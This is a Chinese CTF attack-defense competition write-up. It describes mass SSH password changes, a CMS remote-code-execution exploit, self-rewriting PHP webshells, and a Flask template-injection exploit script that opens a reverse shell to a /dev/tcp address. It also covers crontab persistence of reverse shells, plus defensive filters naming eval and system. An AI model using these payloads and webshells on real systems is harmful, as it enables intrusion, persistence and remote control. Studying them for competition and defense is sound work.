本文首發(fā)地址 :
先知技術(shù)社區(qū)獨(dú)家發(fā)表本文,如需要轉(zhuǎn)載移袍,請先聯(lián)系先知技術(shù)社區(qū)授權(quán)傻谁;未經(jīng)授權(quán)請勿轉(zhuǎn)載。
先知技術(shù)社區(qū)投稿郵箱:Aliyun_xianzhi@service.alibaba.com
今天早上看到沐師傅在知乎上的回答 , 感覺自己還是有點(diǎn)太為了比賽而比賽了
以后還是得多聯(lián)系實(shí)際的網(wǎng)絡(luò)攻防對抗
寫一篇小總結(jié)吧 , 記錄一些小經(jīng)驗(yàn)和一些比較有意思的事
首先感謝 A1Lin學(xué)長 以及 Yolia 學(xué)姐的強(qiáng)力輸出 , 真的強(qiáng) , 不得不服 , orzzzz , 深感榮幸
網(wǎng)絡(luò)拓?fù)?:
主辦方在比賽之前并沒有提供網(wǎng)絡(luò)拓?fù)?br> 所以在得到這個(gè)信息以后 , 到時(shí)候肯定先要主機(jī)發(fā)現(xiàn)了
masscan -p 80 172.16.0.0/24
在比賽開始前 , 為每一個(gè)隊(duì)伍發(fā)放了寫有用戶名密碼已經(jīng)自己隊(duì)伍的GameBox的IP地址的小紙條
每個(gè)隊(duì)伍隊(duì)員攜帶的筆記本接入的IP為DHCP獲取的 , 我們隊(duì)伍為 192.168.1.1/24
比賽中發(fā)現(xiàn)應(yīng)該是每一個(gè)隊(duì)占用一個(gè)C段 , 別的隊(duì)可能是 192.168.2.1/24 等等
GameBox 位于 172.16.0.150-172.16.205
每一個(gè)隊(duì)伍五臺(tái)服務(wù)器 , 兩個(gè) Web 題 , 兩個(gè) Pwn 題 , 還有一道 Mobile
每個(gè)隊(duì)伍的相同題目的 IP 地址的第四段求余 5 都是相同的
例如我們隊(duì)為 :
172.16.0.165 web2 (Ubuntu-Server-16.04)
172.16.0.166 web1 (Ubuntu-Server-16.04)
172.16.0.167 mobile (Windows-7)
172.16.0.168 pwn1 (Ubuntu-Server-16.04)
172.16.0.169 pwn2 (Ubuntu-Server-16.04)
其他規(guī)則 :
- 比賽期間不允許接入外網(wǎng) , 賽場有手機(jī)信號屏蔽器
- 比賽 08:30 開始 , 半小時(shí)維護(hù)時(shí)間 , 09:00 開始可以開始攻擊
- Flag 的獲取方式是在靶機(jī)上訪問 http://172.16.0.30:8000/flag 這個(gè) URL , 就會(huì)返回 flag , 而不是一個(gè)本地的文件
例如 :
curl http://172.16.0.30:8000/flag
php -r 'echo file_get_contents("http://172.16.0.30:8000/flag");'
如果是本地的文件的話 , 我們就可以直接利用一個(gè)任意文件讀取漏洞來獲取 flag 了 , 但是這個(gè)不行 , 只能是類似任意代碼執(zhí)行或者ssrf才可以
套路 :
第一回 : 單身二十年小伙手速大力出奇跡
在第一眼看到主辦方發(fā)的環(huán)境配置以及用戶名密碼的紙條的時(shí)候我就樂了
四臺(tái) Linux 服務(wù)器 , 用戶名密碼一看就是所有隊(duì)伍都一樣 , 可以拼一波手速了
看來準(zhǔn)備的小書包還是有點(diǎn)用處的 , 九點(diǎn)鐘的時(shí)候就掏出準(zhǔn)備好的 , ssh 密碼修改腳本
因?yàn)閯傞_始還沒有摸清楚網(wǎng)絡(luò)拓?fù)?, 直接批量修改 172.16.0.1/24 了 , 但是因?yàn)榍懊娴闹鳈C(jī)都不存在
所以一直沒有看到效果 , 所以就擱在后臺(tái)慢慢跑了 , 最后大概下午一點(diǎn)的時(shí)候 , 才發(fā)現(xiàn)臥槽 ? 居然真的把一些隊(duì)的密碼給改了
再看看 IP , 誒 , 奇怪 , 怎么會(huì)把我們自己的服務(wù)器的密碼也給改了呢 ?
被修改的 IP 是 172.16.0.166 , 也就是 web1 , 之前的用戶名密碼為 : ubuntu/openstack
不應(yīng)該啊 , 我們在維護(hù)的時(shí)候就已經(jīng)把密碼改過了啊 ... 最后檢查一下 , 這個(gè)服務(wù)器居然有倆用戶...
但是主辦方給我們的紙條上并沒有寫...有點(diǎn)坑啊...
可以看到幾乎所有的隊(duì)的這道題都被腳本改掉了默認(rèn)密碼 , 所以這個(gè)題基本就不用做了 , 單憑這個(gè)就可以直接吊打全場
因?yàn)?web1 沒有給 root 權(quán)限 , 用戶也不是 sudoer
但是 web2 的用戶是有 root 權(quán)限的
最后想了想 , 當(dāng)時(shí)有點(diǎn)激動(dòng) , 應(yīng)該試試 ubuntu 用戶是不是 sudoer 的 , 如果是的話 , 那就真的有好戲看了 , 手動(dòng)滑稽
還有一個(gè)挺遺憾的一點(diǎn) , 當(dāng)時(shí)比賽的時(shí)候腳本寫的其實(shí)有點(diǎn)問題
最開始發(fā)現(xiàn)了大概 9 個(gè)弱口令 , 其中不乏除過 web1 的題目 , 可能是有的隊(duì)沒有在維護(hù)時(shí)間修改默認(rèn)密碼
然后直接開始利用弱口令登錄了 , 但是腳本的邏輯寫錯(cuò)了 , 每次拿到 flag 之后就把 ssh 的 session 斷掉了
這就導(dǎo)致 , 有隊(duì)伍發(fā)現(xiàn)自己服務(wù)器不能登錄以后 , 申請重置了服務(wù)器 , 然后我們這邊就不能再利用了
正常的邏輯應(yīng)該是一次登錄 , 然后就利用已經(jīng)成功登錄的服務(wù)器的 ssh 的 session , 循環(huán) get flag
最后比賽結(jié)束前大概兩小時(shí)才意識到這一點(diǎn) , 確實(shí)因?yàn)檫@個(gè)損失不少分?jǐn)?shù)
第二回 : 不慎刪除菜刀無法批量利用 Webshell
比賽前一天以為第二天可以上網(wǎng)的 , 所以就把 Webshell-Sniper 給刪掉了
然后第二天在真正用的時(shí)候才追悔莫及
Web2 是一道海洋 CMS , 剛好在鐵三的時(shí)候有一道原題 , 利用了漏洞 :
因?yàn)楫?dāng)時(shí)不能上網(wǎng) , 所以就用手機(jī)搜了一下 EXP , 手動(dòng)輸入進(jìn)去之后發(fā)現(xiàn)居然沒用 , 然后天真的我就以為這個(gè)CMS可能是個(gè)新版本
很可能不能用 , 所以就想著先白盒審計(jì)審計(jì) , 看看是不是留了什么后門
find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert('
find . -name '*.php' | xargs grep -n 'system('
找了一番 , 好像并沒有發(fā)現(xiàn)特意留下來的后門
過了大概一個(gè)小時(shí)...才發(fā)現(xiàn) , 我們這道題居然在一直掉分
看了一下日志 , 臥槽 ? payload 居然真的就是這個(gè)遠(yuǎn)程代碼執(zhí)行漏洞
可能是最開始手一哆嗦把 POC 輸錯(cuò)了 , orz
然后就趕緊寫 EXP 開始打
但是無奈啊 , 沒有用到 Webshell-Sniper
可惜了比賽前準(zhǔn)備很久的自動(dòng)寫入內(nèi)存木馬的小功能
這個(gè)題目也沒有用到內(nèi)存木馬 , 只是用漏洞打了大概有一兩個(gè)小時(shí) , 然后大家就都把漏洞修復(fù)了
這個(gè)題目最開始整個(gè) web 目錄的權(quán)限都是 777 , 包括 /var/www/html 這個(gè)目錄
注意到這一點(diǎn)了 , 但是沒敢改成 755
因?yàn)槲遗?checker 也會(huì)上傳文件來檢測服務(wù)是否存活
最后發(fā)現(xiàn)了大佬居然在根目錄上傳了倆內(nèi)存 shell
一咬牙 , 還是全改成 755 吧 , 等下找找上傳目錄在改回來
find . -type d -writable | xargs chmod 755
發(fā)現(xiàn)全改成 755 之后好像還真沒被判定為 Down 機(jī) , 那就這樣唄
最后這道題也一分沒丟
遺憾的幾點(diǎn) :
- 看到 webshell 之后直接就慌了 , 匆匆 cat 了一下發(fā)現(xiàn)挺復(fù)雜的 , 然后就趕緊刪掉了 , 并沒有保存下來跟大佬學(xué)習(xí)學(xué)習(xí)新姿勢
- 還是沒有利用漏洞維持權(quán)限 , 漏洞被修復(fù)以后就啥也干不了了
- 大佬們上傳的 webshell 名稱并沒有隨機(jī) , 而且應(yīng)該是每個(gè)隊(duì)伍的路徑都是一樣的 , 但是可惜 shell 被我很快就刪掉了 , 所以就沒有辦法再利用了 , 這一點(diǎn)以后還是要注意
- 第三點(diǎn)說的其實(shí)還是可以利用的 , 因?yàn)榇罄械哪_本并沒有檢測到 shell 被刪就不再發(fā)送 payload 的功能 , 所以直接在相同目錄構(gòu)造日志記錄的 php 應(yīng)該就能拿到 payload 了 , 但是比賽的時(shí)候并沒有想到這個(gè)
- 網(wǎng)上流傳的內(nèi)存木馬大多長這樣 :
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = 'c.php';
$code = '<?php eval($_POST[c]);?>';
while(true) {
if(!file_exists($file)) {
file_put_contents($file, $code);
}
usleep(50);
}
?>
注意到了嗎 , while 里面只是判斷了這個(gè)文件是不是存在 , 那么我只需要把你這個(gè)文件中的 shell 注釋掉就可以繞過你的內(nèi)存木馬了
正確的姿勢應(yīng)該是這樣 :
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = 'c.php';
$code = '<?php eval($_POST[c]);?>';
while(true) {
if(md5(file_get_contents($file))!==md5($code)) {
file_put_contents($file, $code);
}
usleep(50);
}
?>
- 在第一次發(fā)現(xiàn) Web2 這道題在丟分以后 , 就趕緊想著修復(fù) , 但是由于最開始的時(shí)候搞錯(cuò)了 php 的 strpos 函數(shù)的參數(shù)
所以很長一段時(shí)間內(nèi) , 這個(gè)題目都是被 checker 判斷為宕機(jī)的
給出最終的修補(bǔ)腳本 :
// 也只有 die , 并沒有進(jìn)行流量記錄的功能
<?php
function blackListFilter($black_list, $var){
foreach ($black_list as $b) {
if(stripos($var, $b) !== False){
var_dump($b);
die();
}
}
}
$black_list = ['eval', 'assert', 'shell_exec', 'system', 'call_user_func', 'call_user_method', 'passthru'];
$var_array_list = [$_GET, $_POST, $_COOKIE];
foreach ($var_array_list as $var_array) {
foreach ($var_array as $var) {
blackListFilter($black_list, $var);
}
}
?>
Web2 其實(shí)是有 root 權(quán)限的 , 那么其實(shí)是可以直接修改 php.ini 來禁用一些危險(xiǎn)函數(shù)的 , 但是因?yàn)橹皼]有準(zhǔn)備 , 比賽的時(shí)候太緊張也沒有想到 , 所以也就沒有做
后記 :
當(dāng)時(shí)比賽的時(shí)候并沒有安裝代碼比較工具 , 剛才裝了一個(gè) , 對比發(fā)現(xiàn) , 這里還有一個(gè)出題人留下的后門 , 無奈比賽中并沒有發(fā)現(xiàn)
這也算是準(zhǔn)備不足吧 , 有些可惜
// 抱歉看錯(cuò)了 , 這個(gè) admin_ping.php 是新版本才有的功能
// 似乎是個(gè)海洋CMS的后臺(tái) GetShell 0Day 誒 , 滑稽臉
第三章 : 震驚 , 學(xué)渣抄學(xué)霸作業(yè)抄地飛起
感謝 Yolia 學(xué)姐 , 對 Flask 的深入透徹的理解
在流量中我們發(fā)現(xiàn)了這樣一條流量 :
GET http://HOST:PORT/auth/getimage/aHR0cDovLzE3Mi4xNi4wLjMwOjgwMDAvZmxhZw==
審計(jì)了一下代碼 :
發(fā)現(xiàn)這里可以直接 SSRF 發(fā)送一個(gè) HTTP 請求 , 那么這里剛好可以用來獲取 FLAG
然后就趕緊寫EXP喂給漏洞利用框架
在中午吃飯的時(shí)候又發(fā)現(xiàn)了一條可疑的流量 :
POST http://HOST:PORT/auth/test
拿到的 POST 數(shù)據(jù)包為 :
username=d2hvYW1p&password=whoami&x={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ =='catch_warnings' %}{{c.__init__.func_globals['linecache'].__dict__['os'].popen("'''+"bash -c 'bash -i &>/dev/tcp/192.168.1.2/8080 0>&1'".encode("base64").replace("\n", "")+'''".decode("base64")).read()}}{% endif %}{% endfor %}
通過學(xué)姐的分析定位到關(guān)鍵代碼 :
向 /auth/test
這個(gè)路由 POST 的 username 會(huì)被寫到 /tmp/username.txt 這個(gè)文件中
然后會(huì)使用 Template 模板渲染函數(shù)將其渲染成HTML
存在模板注入漏洞 :
這樣就可以執(zhí)行任意代碼 , 也就是說我們只需要上傳一個(gè)惡意的模板文件 , 然后讓 Template 函數(shù)渲染這個(gè)模板文件即可執(zhí)行我們注入的代碼
/auth/test
這個(gè)路由中 , valid_login 這個(gè)函數(shù)形同虛設(shè) , 只是驗(yàn)證了 username 是不是等于 base64 編碼后的 password
所以直接構(gòu)造 Payload 即可 , 最終的 Exploit 如下 :
import requests
def get_flag(host, port):
url = "http://%s:%d/auth/test" % (host, port)
payload = '''{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ =='catch_warnings' %}{{c.__init__.func_globals['linecache'].__dict__['os'].popen("'''+"bash -c 'bash -i &>/dev/tcp/192.168.1.2/8080 0>&1'".encode("base64").replace("\n", "")+'''".decode("base64")).read()}}{% endif %}{% endfor %}'''
username = "admin"
data = {"x":payload,"username":".ctf","password":base64.b64encode(".ctf")}
response = requests.post(url, data=data, timeout=5)
flag = response.content
return flag
if __name__ == "__main__":
get_flag("172.16.0.150", 80)
Yolia 學(xué)姐還在代碼中發(fā)現(xiàn)這這一處可能存在漏洞的地方 :
路由 /hello
會(huì)將 test.txt
的內(nèi)容渲染 , 那么如果 test.txt
內(nèi)容可控 , 即可構(gòu)造和上述模板注入相同的 EXP
然后這里還提供了一個(gè)文件上傳的功能 , 但是這個(gè)文件上傳的功能需要登錄
而且文件名還存在白名單
關(guān)于登錄 :
- 可以從默認(rèn)數(shù)據(jù)庫中拿到用戶名和密碼
- 在代碼 : tests/*.py 中也可以拿到測試用例的用戶名和密碼
可以看到是可以上傳 txt 文件的 , 而且對文件名并沒有過濾掉 ../
因此 , 這里其實(shí)是可以穿越到上層目錄的 , 也就是說可以直接覆蓋掉 test.txt
這樣我們只需要每次訪問路由 hello
, 那么 test.txt
就會(huì)被渲染 , 就可以代碼執(zhí)行拿到 flag
第一步 : 登錄
第二步 : 上傳
第三步 : 訪問 /auth/hello
路由 , 獲取 flag
但是剛才一直在測試 , 好像沒有發(fā)現(xiàn)怎么才能登錄成功
遺憾 :
- 一早上很長一段時(shí)間我們的服務(wù)器都是宕機(jī)的 , 被 checker 判定為宕機(jī) , 但是事實(shí)上我們并沒有對代碼做任何修改 , 最后聯(lián)系了管理員 , 管理員告訴我們這個(gè)問題需要自己查看日志解決
在日志中發(fā)現(xiàn)了路由 :/shutdown
只要訪問這個(gè) URL , 就會(huì)導(dǎo)致對方服務(wù)器宕機(jī)
多虧 Yolia 學(xué)姐在發(fā)現(xiàn)了問題之后就迅速修復(fù)了這個(gè) BUG
找到這個(gè)問題后 , 也沒有利用這個(gè) BUG 來攻擊別人 , 這個(gè)也是虧的一點(diǎn)
第四章 : 反彈 shell 構(gòu)建僵尸網(wǎng)絡(luò)
下午的時(shí)候基本上優(yōu)勢已經(jīng)比較明顯了 , 就在想怎么盡可能維持權(quán)限了
掏出之前寫的 Reverse-Shell-Manager , 利用 Web1 和 Pwn 的 Exp , 反彈 shell , 大概最后上線了二十多臺(tái)主機(jī)
最終利用工具將反彈 shell 的腳本寫入 crontab , 玩兒得挺嗨
可惜沒有留下截圖
遺憾 :
- 工具有幾率出現(xiàn)讀取 socket 阻塞的情況 , 這樣前端就會(huì)卡住 , 不得不將程序重新啟動(dòng)
但是這樣就會(huì)使目前已經(jīng)上線的主機(jī)全部掉線 , 是一個(gè)很大的損失 , 還是開發(fā)的時(shí)候沒有控制好前端的線程操作
后記 :
關(guān)于修改 ssh 密碼的腳本 , 重新修改了一下 , 主要的更新是將輸入文件和輸出文件的格式一樣 , 這樣多次運(yùn)行腳本就可以形成日志鏈 , 不用再手動(dòng)格式化日志文件
還有更新的一點(diǎn)是腳本現(xiàn)在并不是每一輪都重新登錄一次 , 而是長期維護(hù)這個(gè) session , 這樣就算目標(biāo)隊(duì)伍修改了密碼 , 我們這里的 ssh session 還是不會(huì)斷開
除非重啟 ssh 服務(wù)或者服務(wù)器重啟 , 這樣也算是一種權(quán)限維持吧
https://github.com/WangYihang/Attack_Defense_Framework/blob/master/ssh/auto_ssh.py
想到但是沒有用到的其他點(diǎn) :
- 可以修改 pwn 題的 curl 命令的別名
alias curl='python -c "__import__(\"sys\").stdout.write(\"flag{%s}\\n\" % (__import__(\"hashlib\").md5(\"\".join([__import__(\"random\").choice(__import__(\"string\").letters) for i in range(0x10)])).hexdigest()))"'
如果是 Pwn 服務(wù)器的話 , 連上去之后 , 可以先把 curl 命令直接改掉
這樣就算對方打進(jìn)來 , 如果不知道這一點(diǎn) , 每次獲取到的都是假的 flag
所以在寫 pwn 的 exp 的時(shí)候 , 拿到 shell 之后如果要調(diào)用系統(tǒng)命令 , 最好還是使用絕對路徑來調(diào)用
/usr/bin/curl
- 通用 WAF
這個(gè)由于主辦方明令禁止 , 所以就沒有用了 , 這部分準(zhǔn)備的也不夠充分
而且如果是多入口的應(yīng)用程序 , 并且沒有 root 權(quán)限的話 , 部署起來比較困難
如果有 root 權(quán)限 , 則可以使用 apache 的 rewrite 模塊
將 .htaccess 寫入目錄來控制對目錄的訪問
給出一個(gè) apache 配置文件樣例 , 用來禁用 php 執(zhí)行 :
<Directory "/var/www/html/">
Options -ExecCGI -Indexes
AllowOverride None
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
php_flag engine off
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
deny from all
</FilesMatch>
</Directory>